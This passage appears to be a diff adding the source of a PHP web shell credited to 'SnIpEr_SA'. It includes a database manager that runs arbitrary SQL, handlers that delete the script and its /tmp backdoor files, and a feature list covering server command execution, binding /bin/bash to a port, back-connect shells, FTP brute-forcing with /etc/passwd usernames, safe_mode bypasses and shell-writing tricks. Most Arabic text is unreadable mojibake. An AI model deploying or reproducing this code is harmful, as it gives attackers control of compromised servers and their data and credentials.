$end=$lst-1; + $showp=$pg+1; + if($searchval !=""){ + $sval="&amp;searchval=$searchval"; + } + $pagescrol .= "<form name='pages' id='pages' action='$action' method='get'>\n"; + if($pg>=1){ + $pagescrol .= " <a href='$action?tablename=$tablename&amp;pg=0$sval' title='To first page'> 1 :<< </a> \n"; + $pagescrol .= " <a href=''action'?tablename=$tablename&amp;pg=$bk$sval' title='Back one page'> < </a> \n"; + } + $pagescrol .= "<input type='text' name='pg' value='$showp' size='4' onchange='javascript:this.form.submit();' title='Type a page number then click outside the box' />\n"; + $pagescrol .= "<input type='hidden' name='pback' value='true' />\n"; + $pagescrol .= "<input type='hidden' name='searchval' value='$searchval' />\n"; + $pagescrol .= "<input type='hidden' name='tablename' value='$tablename' />\n"; + + if($showp < $lst){ + $pagescrol .= " <a href=''action'?tablename=$tablename&amp;pg=$nxt$sval' title='Next page'> > </a> \n"; + $pagescrol .= " <a href=''action'?tablename=$tablename&amp;pg=$end$sval' title='To Last page'> >>: $lst</a> \n"; + } + $pagescrol .= "</form>\n"; + $pagescrol.="</div>\n"; + } + return $pagescrol; +} + +//*************Display Footer************************* +//Please don't remove or change. +function display_foot(){ + + echo"<div class='foot'>Version $version &copy; ".date('Y')." <a style='text-decoration:none;' target='_blank' href='http://www.SnIpEr-SA.com'>SnIpEr_SA</a></div>"; + + } +//*************My Size************************* +//Returns the size of a table or database +function mysize($dbname, $tablename){ + $like=""; + $total=""; + $t=0; + if($tablename !=""){ + $like=" like '$tablename'"; + } + $sql= "SHOW TABLE STATUS FROM $dbname $like"; + //$result = mysql_query($sql); + $result=exequery($sql, $tablename, $dbname); + if($result){ + + while($rec = mysql_fetch_array($result)){ + $t+=($rec['Data_length'] + $rec['Index_length']); + } + $total ="<span class='bytes'>$t bytes</span>"; + }else{ + $total="Unknowen"; + } + return($total); +} + + +//************************************** +//DEBUG to show all being passed to the page +function showpassingvars(){ + echo"Get: "; + foreach($_GET as $pram=>$value){ + echo"$pram: $value, "; + } + echo"<br>Post: "; + foreach($_POST as $pram=>$value){ + echo"$pram: $value, "; + } + echo"<br>Session: "; + foreach($_SESSION as $pram=>$value){ + echo"$pram: $value, "; + } + } +echo"<html>\n"; +echo"<meta http-equiv='Content-Type' content='text/html; charset=windows-1256'>\n"; +echo"<head>\n"; +echo"<title>����� ������� ������ ��������</title>\n"; +echo"<STYLE> + +BODY + { + SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456 +} + +tr { +BORDER-RIGHT: #cccccc ; +BORDER-TOP: #cccccc ; +BORDER-LEFT: #cccccc ; +BORDER-BOTTOM: #cccccc ; +color: #ffffff; +} +td { +BORDER-RIGHT: #cccccc ; +BORDER-TOP: #cccccc ; +BORDER-LEFT: #cccccc ; +BORDER-BOTTOM: #cccccc ; +color: #cccccc; +} +.table1 { +BORDER: 1; +BACKGROUND-COLOR: #000000; +color: #333333; +} +.td1 { +BORDER: 1; +font: 7pt tahoma; +color: #ffffff; +} +.tr1 { +BORDER: 1; +color: #cccccc; +} +table { +BORDER: #eeeeee outset; +BACKGROUND-COLOR: #000000; +color: #cccccc; +} +input { +BORDER-RIGHT: #990000 1 solid; +BORDER-TOP: #990000 1 solid; +BORDER-LEFT: #990000 1 solid; +BORDER-BOTTOM: #990000 1 solid; +BACKGROUND-COLOR: #333333; +font: 9pt tahoma; +color: #ffffff; +} +select { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #000000; +font: 9pt tahoma; +color: #CCCCCC;; +} +submit { +BORDER: buttonhighlight 1 outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #cccccc; +} +textarea { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #333333; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 1; +color: #cccccc; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} + +</STYLE>\n"; +echo"<meta http-equiv='Content-Type' content='text/html charset=windows-1256'>"; +echo"<title>����� ������� ������ ��������</title>\n"; +echo"<meta name='author' content='Tony Aslett'>"; +echo"<meta name='title' content='PHP:MySQL Table Manager'>"; +echo"<meta name='description' content='Table Manager for MySQL Database'>"; +echo"<link rel='stylesheet' href='tmgrstyles.css' type='text/css'>\n"; +echo"</head>\n"; +echo"<body>\n"; + +$showall=true; +echo"<h2 class=h >����� ������� ������ ��������</h2>\n"; +//******************* Session Logon *********************** +if(isset($_POST['logout'])){ + + $_POST['dbname']=""; + session_unset(); + session_destroy(); +} +if(isset($_POST['userid']) && isset($_POST['pword1'])){ + $_SESSION['user'] = $_POST['userid']; + $_SESSION['password'] = $_POST['pword1']; +} + +if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){ + echo"<div align=center>"; + echo"<h2>���� ������ ������� �������</h2>\n"; + If(!isset($dbnamearray)){ + $dbnamearray=""; + } + show_login($dbnamearray); + echo"</div>"; +}else{ + //show logout option. + echo"<div align=right>"; + endsess(); + echo"</div>"; +} +//*****dbname +if(isset($_POST['dbname'])){ + $dbname=$_POST['dbname']; + $_SESSION['dbname']= $_POST['dbname']; +} +//***** Host +if(isset($_POST['host'])){ + $host=$_POST['host']; + $_SESSION['host']=$_POST['host']; +} +//******set tablename +if(isset($_GET['tablename']) ){ + $tablename=$_GET['tablename']; +}elseif(isset($_POST['tablename'])){ + $tablename=$_POST['tablename']; +} +//********** pagemax +if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){ + $isnum=true; + for($o=0; $o<count($_POST['pagemax']); $o++){ + if($_POST['pagemax'][$o]>9){ + $isnum=false; + } + } + if($_POST['pagemax']>0 && $isnum){ + $_SESSION['pagemax']=$_POST['pagemax']; + } +} + if(isset($_SESSION['pagemax'])){ + $pagemax=$_SESSION['pagemax']; + } +//******** create a new Database ************ +if(isset($_POST['cndb'])){ + connectmysql(); + $sql="create database $_POST[ndbname]"; + $result=exequery($sql, " ", $_POST['ndbname']); + if ($result){ + $_SESSION['dbname'] = $_POST['ndbname']; + $sql="Use $_POST[ndbname]"; + $result=exequery($sql, " ", $_POST['ndbname']); + if($result){ + echo"<h2>����� ����� $_SESSION[dbname] </h2>\n"; + } + } +} + +//********************************************* +if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post + //Databse names + showdb(); +} +//************************ Choose DB ************* +if(isset($_POST['dbname']) && $_POST['dbname']==""){ + showdb(); +} + +//********** +if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){ +//************************************* + //connection + + if (isset($_SESSION['dbname'])){ + $dbsetname = $_SESSION['dbname']; + }elseif(isset($_POST['dbname'])){ + $dbsetname = $_POST['dbname']; + $_SESSION['dbname'] = $_POST['dbname']; + }else{ + $dbsetname = $_POST['dbna']; + $_SESSION['dbname'] = $_POST['dbna']; + } +} +//*************************** we have a DB set +if(isset($dbsetname) && $dbsetname!=""){ + $link= connectmysql(); + //echo"DBS: $dbsetname"; + $conn = connectdb($dbsetname, $link); + +//*********** Drop Table ************** + if(isset($_POST['deltable'])){ + $showall=false; + $tablename=$_POST['tablename']; + echo"<h1>!!! ����� !!! <br>��� ����� ��� ��� ������ $tablename<br>"; + echo"�� ��� ����� �� ������ ��������?</h1>\n"; + $va="Drop $tablename"; + goto($tablename, $dbname,$action, 'del', 'droptab', $va ); + } + if(isset($_POST['droptab'])){ + $tablename=$_POST['tablename']; + $dsql = "drop table $tablename"; + $result=exequery($dsql, $tablename, $dbname); + unset($tablename); //="false"; + unset($_POST['tablename']); + } +//*****************Write Your Own Query ***************** + if(isset($_POST['wyoq'])){ //post + $value="������� �������� �������"; + goto($tablename, $dbname, $action, 'but', 'start', $value ); + echo"<form method='post'>\n"; + echo"<input type='hidden' name='dbname' value=$dbname>\n"; + //echo"<input type=text name='wyqota' width='500px' style='overflow-x:visible;'>\n"; + + echo"<textarea name='wyoqta' cols='60' rows='5' style='overflow-y:visible'></textarea>\n"; + + echo"<br><input class=but type=submit name='runquery' value='Execute Query'>\n"; + echo"</form><br>\n"; + } + + if(isset($_POST['runquery'])){ + $wyoqta = StripSlashes($_POST['wyoqta']); + $result=exequery($wyoqta, " ", " "); + + if(@mysql_num_rows($result) >0){ + $numrows=mysql_num_rows($result); + $flds=mysql_num_fields($result); + echo"<table>"; + for($r=0; $r < $numrows; $r++){ + echo"<tr>"; + $row=mysql_fetch_array($result); + for($col = 0; $col < $flds; $col ++){ + $nslash = StripSlashes($row[$col]); + echo"<td>$nslash</td>"; + } + echo"</tr>"; + } + echo"</table>"; + }elseif (mysql_affected_rows()){ + echo" Number of Rows affected: ".mysql_affected_rows(); + }else{ + echo" Nothing returned from the query."; + } + } +// ****************List Tables*************************** + + if( ! isset($tablename) || $tablename==" " ){ + $dbname=$_SESSION['dbname']; + $result = mysql_list_tables($_SESSION['dbname']); + $numtab = mysql_num_rows ($result); + if($numtab == 1){ + $_SESSION['tablename'] =mysql_tablename($result, 0); + } + +//***************** Buttons ****************************** + if (isset($_POST['runquery'])){ + $dbname=$_SESSION['dbname']; + $value="$dbname Start"; //Table Manager Start + goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value ); + + }elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query. + echo"<table width=40% border=0 align='left' >\n"; + echo"<tr><td>"; + + $va="����� ���� ����"; + goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va ); + // echo"<a href=create.php class='crt'>Create new Table</a>\n"; + echo"</td><td>"; + + $value="������� ��������"; //Choose DB + goto("", "", $action, 'but', 'db', $value ); + echo"</td>\n"; + + $value="Write Your Own Query"; + goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value ); + + echo"</td></tr>"; + echo"</table><br><br><br><br><div style='clear:both;'></div>"; + + echo"<table width=100% border=0 align='center' >\n"; + for ($i =0; $i < $numtab; $i++) { + + $tb_names[$i] = mysql_tablename($result, $i); + echo"<tr class='frow'><td align='center'>\n"; + + $va="��� ���� * $tb_names[$i]"; + goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va ); + echo"</td><td align='center' valign='middle'>\n"; + + $va="��� ���� $tb_names[$i]"; + goto($tb_names[$i], $_SESSION['dbname'],$action, 'del', 'deltable', $va ); + echo"</td><td align='center' valign='middle'>\n"; + + $va="Alter Table $tb_names[$i]"; + goto($tb_names[$i], $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va ); + echo"</td><td align='center' valign='middle'>\n"; + + searchtableform($tb_names[$i], $_SESSION['dbname']); + echo"</td><td>"; + //Table size in bytes + echo mysize($_SESSION['dbname'],$tb_names[$i]); + + echo"</td></tr>\n"; + }//for + echo"</table>\n"; + } + + }else{ //tablename is set +//***************** menu ***************************************** + echo"<table><tr class='frow'><td>\n"; + $value="$_SESSION[dbname] Start"; //Ex Table Manager Start + goto($tablename, $_SESSION['dbname'], $action, 'but', 'tablestart', $value ); + echo"</td>\n"; + + echo"<td>\n"; + $value="������� ��������"; //Choose DB + goto("", "", $action, 'but', 'start', $value ); + echo"</td>\n"; + + echo"<td>\n"; + $value="Write Your Own Query"; + goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value ); + echo"</td>\n"; + + if (!isset($_POST['add']) && !isset($_POST['deltable']) && isset($tablename)){ + echo"<td>"; + //$tablename = $_POST['tablename']; + $va="Add a $tablename Record"; + goto($tablename, $_SESSION['dbname'], 'alter.php', 'but', 'add', $va ); + echo"</td>\n"; + } + + if (!isset($_POST['deltable'])){ + echo"<td>\n"; + searchtableform($tablename, $_SESSION['dbname']); + echo"</td>\n"; + } + echo"</tr></table>\n"; + echo"<br />\n"; + +//************************************************** + + if(isset($_POST['addrec'])){ + // $showall=false; + $result=addrecord($tablename, $_SESSION['dbname'], $_POST['array']); + }elseif(isset($_POST['add'])){ + $showall=false; + addform($tablename, $_SESSION['dbname']); + }elseif(isset($_POST['delete'])){ + //delete record has been pushed + // $showall=false; + $whr=buildwhr($_POST['pk'], $_POST['pv']); + $sql = "delete from $tablename where $whr"; + $result=exequery($sql, $tablename, $_SESSION['dbname']); + }elseif (isset($_POST['edit'])){//Edit + $showall=false; + $whr = buildwhr( $_POST['pk'], $_POST['pv']); + //$tablename = $_SESSION['tablename']; + $sql= "Select * from $tablename where $whr"; + + $result=exequery($sql, $tablename, $_SESSION['dbname']); + editform($tablename, $_SESSION['dbname'], $result, 'edit', $_POST['pk'], $_POST['pv']); + }elseif(isset($_POST['editrec'])){ + // $showall=false; + $result=editrec($_SESSION['dbname'],$tablename, $_POST['pk'], $_POST['pv'], $_POST['array']); + } +//**************** Search ************************************ + if(isset($_POST['searchval'])){ + $searchval=$_POST['searchval']; + }elseif(isset($_GET['searchval'])){ + $searchval=$_GET['searchval']; + }else{ + $searchval=""; + } + + if (isset($_GET['tablename'])){ + $tablename = $_GET['tablename']; + } + + if((isset($_POST['search'])|| isset($searchval)) && $searchval !=""){ + $result=searcht($tablename, $_SESSION['dbname'], $searchval); + }else{ + //Display All + $query = "select * from $tablename"; + $result=exequery($query, $tablename, $_SESSION['dbname']); + } + +//***************** Display record count ***************************************** + if($showall){ + $num_rows = mysql_num_rows($result); + //Workout whick page to display + if(!isset($_GET['pg']) && !isset($pg)){ + $beg=0; + $pg=0; + }else{ + if(isset($_GET['pback'])){ + $pg=$_GET['pg']; + }else{ + $pg=$_GET['pg']; + } + if($pg < 0 ){ + $pg=0; + } + if($pg > $num_rows/$pagemax){ + $pg=ceil($num_rows/$pagemax)-1; + } + $beg = $pg * $pagemax; + + } + if (!isset($_POST['add'])){ + $pscrol=" "; + $pagescrol =" "; + + $pagescrol = whichpage($num_rows, $pagemax, $pg, $tablename, $searchval); + + echo "$pagescrol\n"; //Display next Top page menu + + $flds = mysql_num_fields($result); + echo"<table border=0 width='100%'>\n"; + echo"<tr class=head><td></td><td></td>\n"; + $fields = mysql_list_fields( $_SESSION['dbname'], $tablename); + + $z=0; + $x =0; + $pkfield=array(); + +//*************Display each of the field names.*************************** + for ($i = 0; $i < $flds; $i++) { + echo "<td>".mysql_field_name($fields, $i)."</td>\n"; + + //Find the primary key + $flagstring = mysql_field_flags ($result, $i); + if(eregi("primary",$flagstring )){ + $pk[$z] = $i; + + $pkfield[$z]= mysql_field_name($fields, $i); + $z++; + } + } + echo"</tr>\n"; + $tbl=$tablename; + //if(isset($pk)){ + if($z > 0){ + $cpk=count($pk); + }else{ + $cpk=0; + } + +//************Display each row from the table.******************************** + + for ($s=$beg; $s < $beg + $pagemax; $s++){ + if($s < $num_rows){ + if (!mysql_data_seek ($result, $s)) { + echo "Cannot seek to row $s\n"; + continue; + } + $row=mysql_fetch_array($result); + if(!isset($pk)){ + $pk=" "; + $pkfield= array(); + } + displayrow($_SESSION['dbname'], $tbl, $pk, $pkfield, $cpk, $row, $flds); + } + } + } + echo"</table>\n"; + if (!isset($_POST['add']) && !isset($_POST['edit']) && !isset($_POST['deltable']) && !isset($_POST['droptab']) && !isset($_POST['wyoq']) && $tablename){ + echo"<br>"; + echo "$pagescrol\n"; //Display bottom next page menu + } + echo"<br><br>\n"; + }//showall + if(isset($_POST['tablename'])){ + echo"<table border=0>"; + echo"<tr><td>"; + $tablename=$_POST['tablename']; + $va="Alter Table $tablename"; + goto( $tablename, $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va ); + echo"</td></tr>\n"; + echo"</table>\n"; + } + } +} +display_foot(); +echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } + +if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + echo '<body bgcolor=#000000>'; + if(!$sql->connect()) echo "<div align=center><font face=tahoma size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=tahoma size=-2 color=red><b>�� ������ ����� ����� ��������</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=tahoma size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=tahoma size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=tahoma size=-2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#333333><font face=tahoma size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=tahoma size=-2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=tahoma size=-2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=tahoma size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center>"; + echo "<font face=tahoma size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; + echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(__FILE__); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#000000><font face=tahoma size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.$key.'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=tahoma size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=tahoma size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=tahoma size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=tahoma size=-2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'eng_text1' =>'Executed command', +'eng_text2' =>'Execute command on server', +'eng_text3' =>'Run command', +'eng_text4' =>'Work directory', +'eng_text5' =>'Upload files on server', +'eng_text6' =>'Local file', +'eng_text7' =>'Aliases', +'eng_text8' =>'Select alias', +'eng_butt1' =>'Execute', +'eng_butt2' =>'Upload', +'eng_text9' =>'Bind port to /bin/bash', +'eng_text10'=>'Port', +'eng_text11'=>'Password for access', +'eng_butt3' =>'Bind', +'eng_text12'=>'back-connect', +'eng_text13'=>'IP', +'eng_text14'=>'Port', +'eng_butt4' =>'Connect', +'eng_text15'=>'Upload files from remote server', +'eng_text16'=>'With', +'eng_text17'=>'Remote file', +'eng_text18'=>'Local file', +'eng_text19'=>'Exploits', +'eng_text20'=>'Use', +'eng_text21'=>'&nbsp;New name', +'eng_text22'=>'datapipe', +'eng_text23'=>'Local port', +'eng_text24'=>'Remote host', +'eng_text25'=>'Remote port', +'eng_text26'=>'Use', +'eng_butt5' =>'Run', +'eng_text28'=>'Work in safe_mode', +'eng_text29'=>'ACCESS DENIED', +'eng_butt6' =>'Change', +'eng_text30'=>'Cat file', +'eng_butt7' =>'Show', +'eng_text31'=>'File not found', +'eng_text32'=>'Eval PHP code', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'Test', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'Database . Table', +'eng_text37'=>'Login', +'eng_text38'=>'Password', +'eng_text39'=>'Database', +'eng_text40'=>'Dump database table', +'eng_butt9' =>'Dump', +'eng_text41'=>'Save dump in file', +'eng_text42'=>'Edit files', +'eng_text43'=>'File for edit', +'eng_butt10'=>'Save', +'eng_text44'=>'Can\'t edit file! Only read access!', +'eng_text45'=>'File saved', +'eng_text46'=>'Show phpinfo()', +'eng_text47'=>'Show variables from php.ini', +'eng_text48'=>'Delete temp files', +'eng_butt11'=>'Edit file', +'eng_text49'=>'Delete script from server', +'eng_text50'=>'View cpu info', +'eng_text51'=>'View memory info', +'eng_text52'=>'Find text', +'eng_text53'=>'In dirs', +'eng_text54'=>'Find text in files', +'eng_butt12'=>'Find', +'eng_text55'=>'Only in files', +'eng_text56'=>'Nothing :(', +'eng_text57'=>'Create/Delete File/Dir', +'eng_text58'=>'name', +'eng_text59'=>'file', +'eng_text60'=>'dir', +'eng_butt13'=>'Create/Delete', +'eng_text61'=>'File created', +'eng_text62'=>'Dir created', +'eng_text63'=>'File deleted', +'eng_text64'=>'Dir deleted', +'eng_butt65'=>'Create', +'eng_text65'=>'Create', +'eng_text66'=>'Delete', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'Command', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>'Text for find', +'eng_text73'=>'Find in folder', +'eng_text74'=>'Find in files', +'eng_text75'=>'* you can use regexp', +'eng_text76'=>'Search text in files via find', +'eng_text80'=>'Type', +'eng_text81'=>'Net', +'eng_text82'=>'Databases', +'eng_text83'=>'Run SQL query', +'eng_text84'=>'SQL query', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>'Download files from server', +'eng_butt14'=>'Download', +'eng_text87'=>'Download files from remote ftp-server', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'File on ftp', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>'Users list', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'Send file to remote ftp server', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'Mail', +'eng_text103'=>'Send email', +'eng_text104'=>'Send file to email', +'eng_text105'=>'To', +'eng_text106'=>'From', +'eng_text107'=>'Subj', +'eng_butt15'=>'Send', +'eng_text108'=>'Mail', +'eng_text109'=>'Hide', +'eng_text110'=>'Show', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +'eng_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()', +'eng_text116'=>'Copy from', +'eng_text117'=>'to', +'eng_text118'=>'File copied', +'eng_text119'=>'Cant copy file', +'eng_err0'=>'Error! Can\'t write in file ', +'eng_err1'=>'Error! Can\'t read file ', +'eng_err2'=>'Error! Can\'t create ', +'eng_err3'=>'Error! Can\'t connect to ftp', +'eng_err4'=>'Error! Can\'t login on ftp server', +'eng_err5'=>'Error! Can\'t change dir on ftp', +'eng_err6'=>'Error! Can\'t sent mail', +'eng_err7'=>'Mail send', +'eng_text200'=>'read file from vul copy()', +'eng_text202'=>'where file in server', +'eng_text300'=>'read file from vul curl()', +'eng_text203'=>'read file from vul ini_restore()', +'eng_text204'=>'write shell from vul error_log()', +'eng_text205'=>'write shell in this side', +'eng_text206'=>'read dir', +'eng_text207'=>'read dir from vul reg_glob', +'eng_text208'=>'execute with function', +'eng_text209'=>'read dir from vul root', +'eng_text210'=>'DeZender ', +'eng_text211'=>'::safe_mode off::', +'eng_text212'=>'colse safe_mode with php.ini', +'eng_text213'=>'colse security_mod with .htaccess', +'eng_text214'=>'Admin name', +'eng_text215'=>'IRC server ', +'eng_text216'=>'#room name', +'eng_text217'=>'server', +'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul', +'eng_text219'=>'Get file to server in safe_mode and change name', +'eng_text220'=>'show file with symlink vul', +'eng_text221'=>'zip file in server to download', +'ar_text222'=>'2 symlink use vul', +'ar_text223'=>'read file from funcution', +'ar_text224'=>'read file from PLUGIN ', + +/* --------------------------------------------------------------- */ +'ar_text1' =>'����� ������', +'ar_text2' =>'����� ������� �� �������', +'ar_text3' =>'��� �������', +'ar_text4' =>'���� ���� ���� ��� �������', +'ar_text5' =>'��� ��� ��� �������', +'ar_text6' =>'���� ����', +'ar_text7' =>'����� �����', +'ar_text8' =>'���� �����', +'ar_butt1' =>'�����', +'ar_butt2' =>'����', +'ar_text9' =>'��� ���� �� ������� ��� /bin/bash', +'ar_text10'=>'�����', +'ar_text11'=>'������ ������', +'ar_butt3' =>'���', +'ar_text12'=>'������ �����', +'ar_text13'=>'���� ��', +'ar_text14'=>'������', +'ar_butt4' =>'������', +'ar_text15'=>'��� ����� ��� �������', +'ar_text16'=>'�� ����', +'ar_text17'=>'���� �����', +'ar_text18'=>'���� �����', +'ar_text19'=>'Exploits', +'ar_text20'=>'������', +'ar_text21'=>'����� ������', +'ar_text22'=>'����� 